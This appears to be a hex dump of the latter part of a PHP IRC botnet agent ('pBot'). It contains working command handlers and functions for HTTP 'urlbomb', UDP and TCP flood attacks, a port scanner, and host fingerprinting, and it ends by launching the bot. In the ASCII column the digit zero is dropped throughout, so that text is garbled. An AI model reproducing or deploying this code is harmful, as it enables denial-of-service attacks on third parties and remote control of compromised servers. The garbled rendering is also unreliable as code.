20224: 0909090909090D0A09090909090909090909090924746869732D3E707269766D          $this->privm
20256: 7367282024746869732D3E6765745F6368616E2820292C20246F70656E5F706F          sg( $this->get_chan( ), $open_po
20288: 72747320293B0D0A090909090909090909090909627265616B3B0D0A09090909          rts ); break;
20320: 090909090909097D0D0A0909090909090909090909636173652022736F667477          } case "softw
20352: 617265223A0D0A09090909090909090909097B0D0A0909090909090909090909          are": {
20384: 0924746869732D3E707269766D7367282024746869732D3E6765745F6368616E          $this->privmsg( $this->get_chan
20416: 2820292C20245F5345525645525B20275345525645525F534F46545741524527          ( ), $_SERVER[ 'SERVER_SOFTWARE'
20448: 205D20293B0D0A090909090909090909090909627265616B3B0D0A0909090909          ] ); break;
20480: 0909090909097D0D0A0909090909090909090909636173652022736E66223A0D          } case "snf":
20512: 0A09090909090909090909097B0D0A0909090909090909090909092474686973          { $this
20544: 2D3E636F6E6669675B20276E69636B666F726D27205D203D20246D636D645B20          ->config[ 'nickform' ] = $mcmd[
20576: 31205D3B0D0A09090909090909090909090924746869732D3E707269766D7367          1 ]; $this->privmsg
20608: 282024746869732D3E6765745F6368616E2820292C20224E69636B6E616D6520          ( $this->get_chan( ), "Nickname
20640: 666F726D61742073657420746F205B20222E246D636D645B2031205D2E22205D          format set to [ ".$mcmd[ 1 ]." ]
20672: 2220293B0D0A090909090909090909090909627265616B3B0D0A090909090909          " ); break;
20704: 09090909097D0D0A090909090909090909090963617365202272616E646E6963          } case "randnic
20736: 6B223A0D0A09090909090909090909097B0D0A09090909090909090909090924          k": { $
20768: 746869732D3E7365745F6E69636B28293B0D0A09090909090909090909090962          this->set_nick(); b
20800: 7265616B3B0D0A09090909090909090909097D0D0A0909090909090909090909          reak; }
20832: 636173652022756E61757468223A0D0A09090909090909090909097B0D0A0909          case "unauth": {
20864: 0909090909090909090924746869732D3E72656D6F76655F6175746828202468          $this->remove_auth( $h
20896: 6F737420293B0D0A09090909090909090909090924746869732D3E707269766D          ost ); $this->privm
20928: 7367282024746869732D3E6765745F6368616E2820292C20225B206175746820          sg( $this->get_chan( ), "[ auth
20960: 5D204C6F676F7574205B20222E246E69636B2E22205D2220293B0D0A09090909          ] Logout [ ".$nick." ]" );
20992: 0909090909090909627265616B3B0D0A09090909090909090909097D0D0A0909          break; }
21024: 09090909090909090963617365202275726C626F6D62223A0D0A090909090909          case "urlbomb":
21056: 09090909097B0D0A09090909090909090909090924746869732D3E75726C626F          { $this->urlbo
21088: 6D622820246D636D645B2031205D2C20246D636D645B2032205D2C20246D636D          mb( $mcmd[ 1 ], $mcmd[ 2 ], $mcm
21120: 645B2033205D20293B0D0A090909090909090909090909627265616B3B0D0A09          d[ 3 ] ); break;
21152: 090909090909090909097D0D0A20202020202020202020202020202020202020          }
21184: 20202020202020202009090909636173652022756470666C6F6F64223A200D0A          case "udpflood":
21216: 09090909090909090909097B0D0A202020202020202020202020202020202020          {
21248: 20202020202020202020202020090909090969662820636F756E742820246D63          if( count( $mc
21280: 6D642029203E20332029200D0A20202020202020202020202020202020202020          md ) > 3 )
21312: 20202020202020202020202009090909097B0D0A202020202020202020202020          {
21344: 2020202020202020202020202020202020202020202009090909092474686973          $this
21376: 2D3E756470666C6F6F6428246D636D645B315D2C246D636D645B325D2C246D63          ->udpflood($mcmd[1],$mcmd[2],$mc
21408: 6D645B335D293B200D0A20202020202020202020202020202020202020202020          md[3]);
21440: 20202020202020202009090909097D200D0A2020202020202020202020202020          }
21472: 20202020202020202020202020200909090909627265616B3B200D0A09090909          break;
21504: 090909090909097D0D0A20202020202020202020202020202020202020202020          }
21536: 20202020202009090909636173652022746370666C6F6F64223A200D0A090909          case "tcpflood":
21568: 09090909090909097B0D0A202020202020202020202020202020202020202020          {
21600: 20202020202020202020090909090969662820636F756E742820246D636D6420          if( count( $mcmd
21632: 29203E20352029200D0A20202020202020202020202020202020202020202020          ) > 5 )
21664: 20202020202020202009090909097B200D0A2020202020202020202020202020          {
21696: 20202020202020202020202020202020202020090909090924746869732D3E74          $this->t
21728: 6370666C6F6F6428246D636D645B315D2C246D636D645B325D2C246D636D645B          cpflood($mcmd[1],$mcmd[2],$mcmd[
21760: 335D2C246D636D645B345D2C246D636D645B355D293B200D0A20202020202020          3],$mcmd[4],$mcmd[5]);
21792: 20202020202020202020202020202020202020202020202009090909097D200D          }
21824: 0A20202020202020202020202020202020202020202020202020202020090909         
21856: 0909627265616B3B200D0A09090909090909090909097D0D0A09090909090909          break; }
21888: 0909097D200D0A0909090909090909097D0D0A09090909090909097D200D0A09          } } }
21920: 090909090909627265616B3B200D0A0909090909097D200D0A09090909097D20          break; } }
21952: 0D0A090909097D200D0A09090909246F6C645F627566203D2024746869732D3E          } $old_buf = $this->
21984: 6275663B200D0A0909097D200D0A09090924746869732D3E737461727428293B          buf; } $this->start();
22016: 200D0A09097D0D0A09090D0A090966756E6374696F6E207363616E706F727428          } function scanport(
22048: 2024686F73742C2024706F727420290D0A09097B0D0A0909096966282066736F          $host, $port ) { if( fso
22080: 636B6F70656E282024686F73742C2024706F72742C2024652C20247320292029          ckopen( $host, $port, $e, $s ) )
22112: 0D0A0909097B0D0A0909090972657475726E20313B0D0A0909097D0D0A090909          { return 1; }
22144: 72657475726E20303B0D0A09097D0D0A09090D0A090966756E6374696F6E2075          return  ; } function u
22176: 726C626F6D62282024686F73742C2024706174682C202474696D65732C20246D          rlbomb( $host, $path, $times, $m
22208: 6F6465203D203020290D0A09097B0D0A09090969662820216973736574282024          ode =   ) { if( !isset( $
22240: 686F73742029207C7C20216973736574282024706174682029207C7C20216973          host ) || !isset( $path ) || !is
22272: 73657428202474696D6573202920290D0A0909090972657475726E3B0D0A0909          set( $times ) ) return;
22304: 090D0A09090924746869732D3E707269766D7367282024746869732D3E676574          $this->privmsg( $this->get
22336: 5F6368616E2820292C20275B2075726C626F6D62205D20737461727465642120          _chan( ), '[ urlbomb ] started!
22368: 5B20272E24686F73742E272F272E24706174682E27205D2720293B0D0A090909          [ '.$host.'/'.$path.' ]' );
22400: 0D0A0909092473756363657373203D20303B0D0A090909666F7228202469203D          $success =  ; for( $i =
22432: 20303B202469203C202474696D65733B2024692B2B20290D0A0909097B0D0A09           ; $i < $times; $i++ ) {
22464: 090909246670203D2066736F636B6F70656E282024686F73742C2038302C2024          $fp = fsockopen( $host, 8 , $
22496: 6572726E6F2C20246572727374722C20333020293B0D0A090909096966282024          errno, $errstr, 3  ); if( $
22528: 667020290D0A090909097B0D0A0909090909246F7574203D2022474554202F22          fp ) { $out = "GET /"
22560: 2E24706174682E2220485454502F312E315C725C6E223B0D0A0909090909246F          .$path." HTTP/1.1\r\n"; $o
22592: 7574202E3D2022486F73743A20222E24686F73742E225C725C6E223B0D0A0909          ut .= "Host: ".$host."\r\n";
22624: 090909246F7574202E3D20224B6565702D416C6976653A203330305C725C6E22          $out .= "Keep-Alive: 3  \r\n"
22656: 3B0D0A0909090909246F7574202E3D2022436F6E6E656374696F6E3A206B6565          ; $out .= "Connection: kee
22688: 702D616C6976655C725C6E5C725C6E223B0D0A09090909096677726974652820          p-alive\r\n\r\n"; fwrite(
22720: 2466702C20246F757420293B0D0A0D0A090909090969662820246D6F64652021          $fp, $out ); if( $mode !
22752: 3D203020290D0A09090909097B0D0A0909090909097768696C65282166656F66          =   ) { while(!feof
22784: 2824667029297B2F2A646F206E6F7468696E672A2F7D0D0A09090909097D0D0A          ($fp)){/*do nothing*/} }
22816: 09090909090D0A090909090966636C6F7365282024667020293B0D0A09090909          fclose( $fp );
22848: 090D0A090909090924737563636573732B2B3B0D0A090909097D0D0A0909097D          $success++; } }
22880: 0D0A0D0A09090924746869732D3E707269766D7367282024746869732D3E6765          $this->privmsg( $this->ge
22912: 745F6368616E2820292C20275B2075726C626F6D62205D2066696E6973686564          t_chan( ), '[ urlbomb ] finished
22944: 21205B20272E24686F73742E272F272E24706174682E27205D5B207375636365          ! [ '.$host.'/'.$path.' ][ succe
22976: 73733A20272E24737563636573732E27205D2720293B0D0A09097D0D0A09090D          ss: '.$success.' ]' ); }
23008: 0A090966756E6374696F6E20756470666C6F6F64282024686F73742C20247061          function udpflood( $host, $pa
23040: 636B657473697A652C202474696D652029200D0A09097B0D0A09090924746869          cketsize, $time ) { $thi
23072: 732D3E707269766D7367282024746869732D3E6765745F6368616E2820292C22          s->privmsg( $this->get_chan( ),"
23104: 5B20756470666C6F6F64205D2053746172746564205B222E24686F73742E225D          [ udpflood ] Started [".$host."]
23136: 2220293B200D0A090909247061636B6574203D2022223B0D0A090909666F7228          " ); $packet = ""; for(
23168: 24693D303B24693C247061636B657473697A653B24692B2B29207B2024706163          $i= ;$i<$packetsize;$i++) { $pac
23200: 6B6574202E3D20636872286D745F72616E6428312C32353629293B207D0D0A09          ket .= chr(mt_rand(1,256)); }
23232: 09092474696D6569203D2074696D6528293B0D0A0909092469203D20303B0D0A          $timei = time(); $i =  ;
23264: 0909097768696C652874696D6528292D2474696D6569203C202474696D652920          while(time()-$timei < $time)
23296: 0D0A0909097B0D0A090909092466703D66736F636B6F70656E28227564703A2F          { $fp=fsockopen("udp:/
23328: 2F222E24686F73742C6D745F72616E6428302C36303030292C24652C24732C35          /".$host,mt_rand( ,6   ),$e,$s,5
23360: 293B0D0A09090909667772697465282466702C247061636B6574293B0D0A0909          ); fwrite($fp,$packet);
23392: 090966636C6F736528246670293B0D0A0909090924692B2B3B0D0A0909097D0D          fclose($fp); $i++; }
23424: 0A09090924656E76203D202469202A20247061636B657473697A653B0D0A0909          $env = $i * $packetsize;
23456: 0924656E76203D2024656E76202F20313034383537363B0D0A0909092476656C          $env = $env / 1 48576; $vel
23488: 203D2024656E76202F202474696D653B0D0A0909092476656C203D20726F756E          = $env / $time; $vel = roun
23520: 64282476656C293B0D0A09090924656E76203D20726F756E642824656E76293B          d($vel); $env = round($env);
23552: 0D0A09090924746869732D3E707269766D7367282024746869732D3E6765745F          $this->privmsg( $this->get_
23584: 6368616E2820292C225B20756470666C6F6F64205D2024656E76204D42205365          chan( ),"[ udpflood ] $env MB Se
23616: 6E74202F202476656C204D422F732022293B0D0A09097D0D0A09090D0A090966          nt / $vel MB/s "); } f
23648: 756E6374696F6E20746370666C6F6F642824686F73742C247061636B6574732C          unction tcpflood($host,$packets,
23680: 247061636B657473697A652C24706F72742C2464656C617929200D0A09097B20          $packetsize,$port,$delay) {
23712: 0D0A09090924746869732D3E707269766D7367282024746869732D3E6765745F          $this->privmsg( $this->get_
23744: 6368616E2820292C225B5C32546370466C6F6F642053746172746564215C325D          chan( ),"[\2TcpFlood Started!\2]
23776: 22293B200D0A090909247061636B6574203D2022223B200D0A090909666F7228          "); $packet = ""; for(
23808: 24693D303B24693C247061636B657473697A653B24692B2B29200D0A09090909          $i= ;$i<$packetsize;$i++)
23840: 247061636B6574202E3D20636872286D745F72616E6428312C32353629293B20          $packet .= chr(mt_rand(1,256));
23872: 0D0A0909090D0A090909666F722824693D303B24693C247061636B6574733B24          for($i= ;$i<$packets;$
23904: 692B2B29200D0A0909097B200D0A09090909696628212466703D66736F636B6F          i++) { if(!$fp=fsocko
23936: 70656E28227463703A2F2F222E24686F73742C24706F72742C24652C24732C35          pen("tcp://".$host,$port,$e,$s,5
23968: 2929200D0A0909092020097B200D0A090909090924746869732D3E707269766D          )) { $this->privm
24000: 7367282024746869732D3E6765745F6368616E2820292C225B5C32546370466C          sg( $this->get_chan( ),"[\2TcpFl
24032: 6F6F645C325D3A204572726F723A203C24653E22293B200D0A09090909202009          ood\2]: Error: <$e>");
24064: 72657475726E20303B200D0A090909202020097D200D0A09090920202009656C          return  ; } el
24096: 7365200D0A090909202020097B200D0A0909090909667772697465282466702C          se { fwrite($fp,
24128: 247061636B6574293B200D0A090909090966636C6F736528246670293B200D0A          $packet); fclose($fp);
24160: 090909097D200D0A09090920202009736C656570282464656C6179293B200D0A          } sleep($delay);
24192: 0909097D200D0A09090924746869732D3E707269766D7367282024746869732D          } $this->privmsg( $this-
24224: 3E6765745F6368616E2820292C225B5C32546370466C6F6F642046696E697368          >get_chan( ),"[\2TcpFlood Finish
24256: 6564215C325D3A20436F6E666967202D20247061636B65747320666F72202468          ed!\2]: Config - $packets for $h
24288: 6F73743A24706F72742E22293B200D0A09097D0D0A09090D0A090966756E6374          ost:$port."); } funct
24320: 696F6E2073656E6428246D736729200D0A09097B200D0A090909667772697465          ion send($msg) { fwrite
24352: 2824746869732D3E636F6E6E2C22246D73675C725C6E22293B200D0A09097D20          ($this->conn,"$msg\r\n"); }
24384: 0D0A09090D0A090966756E6374696F6E206A6F696E28246368616E2C246B6579          function join($chan,$key
24416: 3D4E554C4C29200D0A09097B200D0A09090924746869732D3E73656E6428224A          =NULL) { $this->send("J
24448: 4F494E20246368616E20246B657922293B200D0A09097D200D0A09090D0A0909          OIN $chan $key"); }
24480: 66756E6374696F6E20707269766D73672824746F2C246D7367290D0A09097B0D          function privmsg($to,$msg) {
24512: 0A09090924746869732D3E73656E642822505249564D53472024746F203A246D          $this->send("PRIVMSG $to :$m
24544: 736722293B0D0A09097D0D0A09090D0A090966756E6374696F6E206E6F746963          sg"); } function notic
24576: 652824746F2C246D7367290D0A09097B0D0A09090924746869732D3E73656E64          e($to,$msg) { $this->send
24608: 28224E4F544943452024746F203A246D736722293B0D0A09097D0D0A0909200D          ("NOTICE $to :$msg"); }
24640: 0A09092066756E6374696F6E207365745F6E69636B2829200D0A0909207B200D          function set_nick() {
24672: 0A09090924707265666978203D20225B77696E78705D223B0D0A090909696628          $prefix = "[winxp]"; if(
24704: 697373657428245F5345525645525B275345525645525F534F46545741524527          isset($_SERVER['SERVER_SOFTWARE'
24736: 5D29290D0A0909097B200D0A0909090969662820737472737472282073747274          ])) { if( strstr( strt
24768: 6F6C6F7765722820245F5345525645525B20275345525645525F534F46545741          olower( $_SERVER[ 'SERVER_SOFTWA
24800: 524527205D20292C202261706163686522202920290D0A090909090924707265          RE' ] ), "apache" ) ) $pre
24832: 666978203D20225B415D223B200D0A09090909656C7365696628207374727374          fix = "[A]"; elseif( strst
24864: 722820737472746F6C6F7765722820245F5345525645525B2027534552564552          r( strtolower( $_SERVER[ 'SERVER
24896: 5F534F46545741524527205D20292C20226969732220292029200D0A09090909          _SOFTWARE' ] ), "iis" ) )
24928: 0924707265666978203D20225B495D223B200D0A09090909656C736569662820          $prefix = "[I]"; elseif(
24960: 7374727374722820737472746F6C6F7765722820245F5345525645525B202753          strstr( strtolower( $_SERVER[ 'S
24992: 45525645525F534F46545741524527205D20292C2022786974616D6922202920          ERVER_SOFTWARE' ] ), "xitami" )
25024: 29200D0A090909090924707265666978203D20225B585D223B200D0A09090909          ) $prefix = "[X]";
25056: 656C7365200D0A090909090924707265666978203D20225B555D223B200D0A09          else $prefix = "[U]";
25088: 09097D0D0A0909090D0A090909696628202124746869732D3E69735F73616665          } if( !$this->is_safe
25120: 28202920290D0A0909097B0D0A0909090924707265666978202E3D20225B6C69          ( ) ) { $prefix .= "[li
25152: 6E75785D223B0D0A0909097D0D0A090D0A0909092472616E646F6D5F6E756D62          nux]"; } $random_numb
25184: 6572203D2022223B0D0A090909666F7228202469203D20303B202469203C2024          er = ""; for( $i =  ; $i < $
25216: 746869732D3E636F6E6669675B20276D617872616E6427205D3B2024692B2B20          this->config[ 'maxrand' ]; $i++
25248: 290D0A0909097B0D0A090909092472616E646F6D5F6E756D626572202E3D206D          ) { $random_number .= m
25280: 745F72616E642820302C203920293B200D0A0909097D0D0A090D0A0909092474          t_rand(  , 9 ); } $t
25312: 6869732D3E6E69636B203D20737072696E74662820247072656669782E247468          his->nick = sprintf( $prefix.$th
25344: 69732D3E636F6E6669675B20276E69636B666F726D27205D2C202472616E646F          is->config[ 'nickform' ], $rando
25376: 6D5F6E756D62657220293B0D0A09090924746869732D3E73656E6428224E4943          m_number ); $this->send("NIC
25408: 4B20222E24746869732D3E6E69636B293B0D0A0909207D0D0A0909200D0A0909          K ".$this->nick); }
25440: 66756E6374696F6E2070617273655F75726C5F7328202475726C20290D0A0909          function parse_url_s( $url )
25472: 7B0D0A0909092455524C706373203D20282070617273655F75726C2820247572          { $URLpcs = ( parse_url( $ur
25504: 6C202920293B0D0A0909092450617468506373203D206578706C6F6465282022          l ) ); $PathPcs = explode( "
25536: 2F222C202455524C7063735B2770617468275D20293B0D0A0909092455524C70          /", $URLpcs['path'] ); $URLp
25568: 63735B2766696C65275D203D20656E642820245061746850637320293B0D0A09          cs['file'] = end( $PathPcs );
25600: 0909756E736574282024506174685063735B206B657928202450617468506373          unset( $PathPcs[ key( $PathPcs
25632: 2029205D20293B0D0A0909092455524C7063735B27646972275D203D20696D70          ) ] ); $URLpcs['dir'] = imp
25664: 6C6F646528222F222C2450617468506373293B0D0A0909090D0A090909246669          lode("/",$PathPcs); $fi
25696: 6C65657874203D206578706C6F64652820272E272C202455524C7063735B2766          leext = explode( '.', $URLpcs['f
25728: 696C65275D20293B0D0A0909090D0A090909696628636F756E74282466696C65          ile'] ); if(count($file
25760: 65787429290D0A0909097B0D0A090909092455524C7063735B2766696C655F65          ext)) { $URLpcs['file_e
25792: 7874275D203D202466696C656578745B20636F756E7428202466696C65657874          xt'] = $fileext[ count( $fileext
25824: 2029202D2031205D3B0D0A0909097D0D0A0909090D0A09090972657475726E20          ) - 1 ]; } return
25856: 282455524C706373293B0D0A09097D0D0A097D200D0A090D0A0924626F74203D          ($URLpcs); } } $bot =
25888: 206E65772070426F743B200D0A0924626F742D3E737461727428293B200D0A0D          new pBot; $bot->start();
25920: 0A3F3E          ?>